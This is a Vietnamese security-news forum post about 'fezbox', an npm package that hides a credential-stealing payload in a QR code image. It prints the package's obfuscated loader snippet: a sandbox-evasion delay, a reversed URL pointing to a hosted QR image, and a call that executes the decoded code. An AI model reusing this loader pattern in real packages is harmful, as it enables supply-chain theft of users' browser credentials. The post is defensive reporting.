Gói npm độc hại dùng mã QR steganography để trích xuất mật khẩu trình duyệt

WhiteHat Team

Administrators
Thành viên BQT
09/04/2020
114
1.129 bài viết
Gói npm độc hại dùng mã QR steganography để trích xuất mật khẩu trình duyệt
Một chiến dịch mã độc tinh vi vừa được phát hiện trong hệ sinh thái npm, tận dụng kỹ thuật steganography, tức là giấu nội dung trong một phương thức tưởng chừng vô hại, để nhúng mã độc sâu bên trong hình ảnh mã QR. Thay vì chèn mã độc trực tiếp vào mã nguồn như thường thấy, tác giả âm thầm biến mã QR thành vỏ bọc tinh vi; người dùng chỉ nhìn thấy một thư viện tiện ích có vẻ hợp lệ trong khi phía sau là một chuỗi hành vi nhiều tầng nhằm thâm nhập vào trình duyệt và đánh cắp thông tin. Hình thức tấn công này kết hợp việc tải payload từ xa, làm rối mã và kiểm tra môi trường nhằm né hệ thống phát hiện, tạo nên một biến thể mới và hết sức nguy hiểm của cuộc tấn công chuỗi cung ứng phần mềm.

npm.png

Gói phần mềm độc hại được xác định là “fezbox” ngụy trang thành thư viện tiện ích JavaScript/TypeScript hợp lệ nhưng thực chất tải về và giải mã một payload ẩn trong mã QR để âm thầm đánh cắp mật khẩu trình duyệt. Kỹ thuật steganography được sử dụng ở đây biến một hình ảnh tưởng chừng vô hại thành “vỏ bọc” chứa mã độc, khiến việc phát hiện và chặn đứng trở nên khó khăn hơn nhiều. Vụ việc không chỉ làm lộ lỗ hổng trong quy trình kiểm duyệt kho mã nguồn mà còn đánh dấu bước tiến nguy hiểm của các cuộc tấn công chuỗi cung ứng, khi tin tặc ngày càng sáng tạo trong phương thức tấn công nhằm né tránh cơ chế bảo vệ và hệ thống phát hiện.

Gói fezbox trình bày như một thư viện tiện ích đầy đủ, hỗ trợ TypeScript, tối ưu hiệu năng và thiết kế mô-đun. Theo tài liệu, gói cung cấp các hàm trợ giúp phổ biến được tổ chức theo từng module, cho phép nhà phát triển import đúng phần cần dùng. Trong README có đề cập tới một “Module QR Code” dùng để tạo và phân tích mã QR, nhưng cố ý giấu đi chi tiết quan trọng về khả năng lấy mã QR từ URL từ xa và thực thi mã độc nhúng trong đó.

1758700030202.png

Hình ảnh mã QR (Nguồn – Socket.dev)
Các nhà phân tích tại Socket.dev phát hiện mã độc sau khi nhận thấy những hành vi khả nghi trong mã nguồn của gói. Nhóm an ninh phát hiện nhiều lớp kỹ thuật làm rối (obfuscation), bao gồm lật ngược chuỗi ký tự, nén/mịn mã và cách sử dụng mới lạ mã QR steganographic để ẩn payload cuối cùng. Khi phát hiện, gói độc vẫn còn hoạt động trên npm registry, khiến Socket.dev phải kiến nghị đội ngũ bảo mật npm gỡ bỏ gói này và đình chỉ tài khoản của tác giả mối đe dọa.

Cơ chế truyền payload tinh vi qua mã QR giấu dữ liệu

Mã độc triển khai quy trình thực thi nhiều giai đoạn và tinh vi, bắt đầu bằng các kiểm tra môi trường và trì hoãn thời gian để né hệ thống sandbox. Mã ban đầu chứa các điều kiện nhận biết trình duyệt, kiểm tra sự tồn tại của các đối tượng window và document để chỉ chạy trong môi trường trình duyệt thực sự.

Khi các điều kiện đáp ứng, mã chờ 120 giây trước khi bắt đầu quá trình tải payload. Chức năng độc hại cốt lõi dựa trên một chuỗi URL bị đảo ngược, che giấu vị trí của ảnh mã QR chứa payload cuối cùng. Sau khi đảo chuỗi này về đúng thứ tự, nó trỏ tới một ảnh mã QR được lưu trữ trên dịch vụ lưu ảnh (ví dụ Cloudinary). Ảnh mã QR này chính là “vật chứa” steganographic, ẩn mã JavaScript mà khi giải mã sẽ trích xuất giá trị tên người dùng và mật khẩu từ cookie trình duyệt.

Mã:
(function () {
    if (n.isDevelopment() || c.chance(2 / 3))
        return;
    setTimeout(async () => {
        const loader = new d.QRCodeScriptLoader();
        const t = await loader.parseQRCodeFromUrl(
            "gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yrani"
            .split("")
            .reverse()
            .join("")
        );
        loader.executeCode(t);
    }, 120 * 1e3);
})();

Cụ thể, payload sau khi giải mã tìm kiếm cookie chứa thông tin xác thực, dò tìm các trường “username” và “password” bằng những kỹ thuật làm rối chuỗi bổ sung. Các thông tin xác thực lấy được sau đó được gửi ra ngoài thông qua một yêu cầu HTTPS POST đến máy chủ chỉ huy-điều khiển (command-and-control) được đặt trên nền tảng đám mây Railway.

Có thể thấy, phương pháp này kết hợp nhiều lớp né tránh: kiểm tra môi trường, trì hoãn thời gian, đảo chuỗi, ẩn giấu steganographic trong mã QR và trích xuất thông tin đăng nhập. Đây là một mô hình tấn công chuỗi cung ứng trên npm có độ tinh vi cao mà đội ngũ an ninh cần lưu ý và chủ động triển khai biện pháp phòng vệ.

Theo Cyber Security News
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
fezbox maleware npm steganography
Bên trên